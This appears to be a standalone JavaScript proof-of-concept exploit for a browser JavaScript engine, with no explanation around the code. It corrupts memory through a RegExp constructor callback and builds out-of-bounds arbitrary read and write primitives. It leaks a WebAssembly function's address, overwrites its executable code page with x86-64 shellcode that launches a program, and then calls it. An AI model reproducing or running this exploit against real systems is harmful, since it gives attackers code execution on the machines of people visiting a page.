README.md
Rendering markdown...
ENABLE_LOG = true;
IN_WORKER = true;
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1,
127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0,
1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2,
0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 10, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasm_instance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasm_instance.exports.main;
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
function print(data) {
console.log(data)
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8; // 0x16b141
var tDerivedNDepth = 19 * 19; // 0x169
function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0); // g_array = []
g_array[0] = 0x1dbabe * 2; // 0x3b757c
return 'c01db33f';
}
function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}
function oobAccess() {
//%SystemBreak();
var this_ = this;
this.buffer = null;
this.buffer_view = null;
this.page_buffer = null;
this.page_view = null;
this.prevent_opt = [];
class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}
this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);
// <==
new RegExp({ toString: function () { return 'a' } });
cb(true);
class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);
// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to. // ???
this_.buffer = new ArrayBuffer(0x80);
g_array[12] = this_.page_buffer;
}
}
// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}
class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}
return DerivedN;
})`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
//return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); // 0x1f
return this.buffer_view.getUint32(0x4f, true, ...this.prevent_opt); // 0x4f
}
this.leakPtrh = function (obj) {
this.page_buffer.slot = obj;
//return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); // 0x1f
return this.buffer_view.getUint32(0x4f + 4, true, ...this.prevent_opt); // 0x4f
}
this.setPtr = function (addr) {
// this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); // 0xf
this.buffer_view.setUint32(0x1f, addr, true, ...this.prevent_opt); // 0xf
}
this.setPtrh = function (addr) {
// this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); // 0xf
this.buffer_view.setUint32(0x1f + 4, addr, true, ...this.prevent_opt); // 0xf
}
this.setPtr64 = function (addr) {
this.setPtr(addr % (2 ** 32));
this.setPtrh(addr / (2 ** 32));
}
this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}
this.read64 = function (addr) {
this.setPtr(addr);
this.setPtrh(addr / (2 ** 32));
var l = this.page_view.getUint32(0, true, ...this.prevent_opt);
var h = this.page_view.getUint32(4, true, ...this.prevent_opt);
var res = l + h * 0x100000000 - 1;
print('[*] low at 0x' + l.toString(16));
print('[*] high at 0x' + h.toString(16));
print('[*] res at 0x' + res.toString(16));
return res;
}
this.read64h = function (addr) {
this.setPtr(addr);
this.setPtrh(addr / (2 ** 32));
var l = this.page_view.getUint32(0, true, ...this.prevent_opt);
var h = this.page_view.getUint32(4, true, ...this.prevent_opt);
print('[*] high at 0x' + h.toString(16));
return h;
}
this.read64l = function (addr) {
this.setPtr(addr);
this.setPtrh(addr / (2 ** 32));
var l = this.page_view.getUint32(0, true, ...this.prevent_opt);
var h = this.page_view.getUint32(4, true, ...this.prevent_opt);
print('[*] low at 0x' + l.toString(16));
return l;
}
this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}
this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}
this.write8_64 = function (addr, value) {
this.setPtr64(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}
this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
this.setBytes64 = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8_64(addr + i, content[i]);
}
}
return this;
}
function trigger() {
var oob = oobAccess();
print('[*] show asm function');
//%DebugPrint(funcAsm);
var func_ptr = oob.leakPtr(funcAsm);
var func_ptrh = oob.leakPtrh(funcAsm);
var fp = func_ptrh * 2 ** 32 + func_ptr - 1;
print('[*] target_function low at 0x' + func_ptr.toString(16));
print('[*] target_function high at 0x' + func_ptrh.toString(16));
print('[*] target_function at 0x' + fp.toString(16));
var kCodeInsOffset = 0x1b;
var share_info = oob.read64(fp + 0x18);
print('[*] share_info at 0x' + share_info.toString(16));
var code_addr = oob.read64(share_info + 0x8);
print('[*] code_addr at 0x' + code_addr.toString(16));
code_addr = code_addr + 0x60;
print('[*] code_addr(rwx) at 0x' + code_addr.toString(16));
print('[*] before write shellcode');
for (var i = 0; i < shellcode.length; i++) {
this.write8_64(code_addr + i, shellcode[i]);
}
print('[*] write shellcode over');
//%DebugPrint(target_function);
//%SystemBreak();
funcAsm(1);
}
try {
print("start running");
trigger();
} catch (e) {
print(e);
}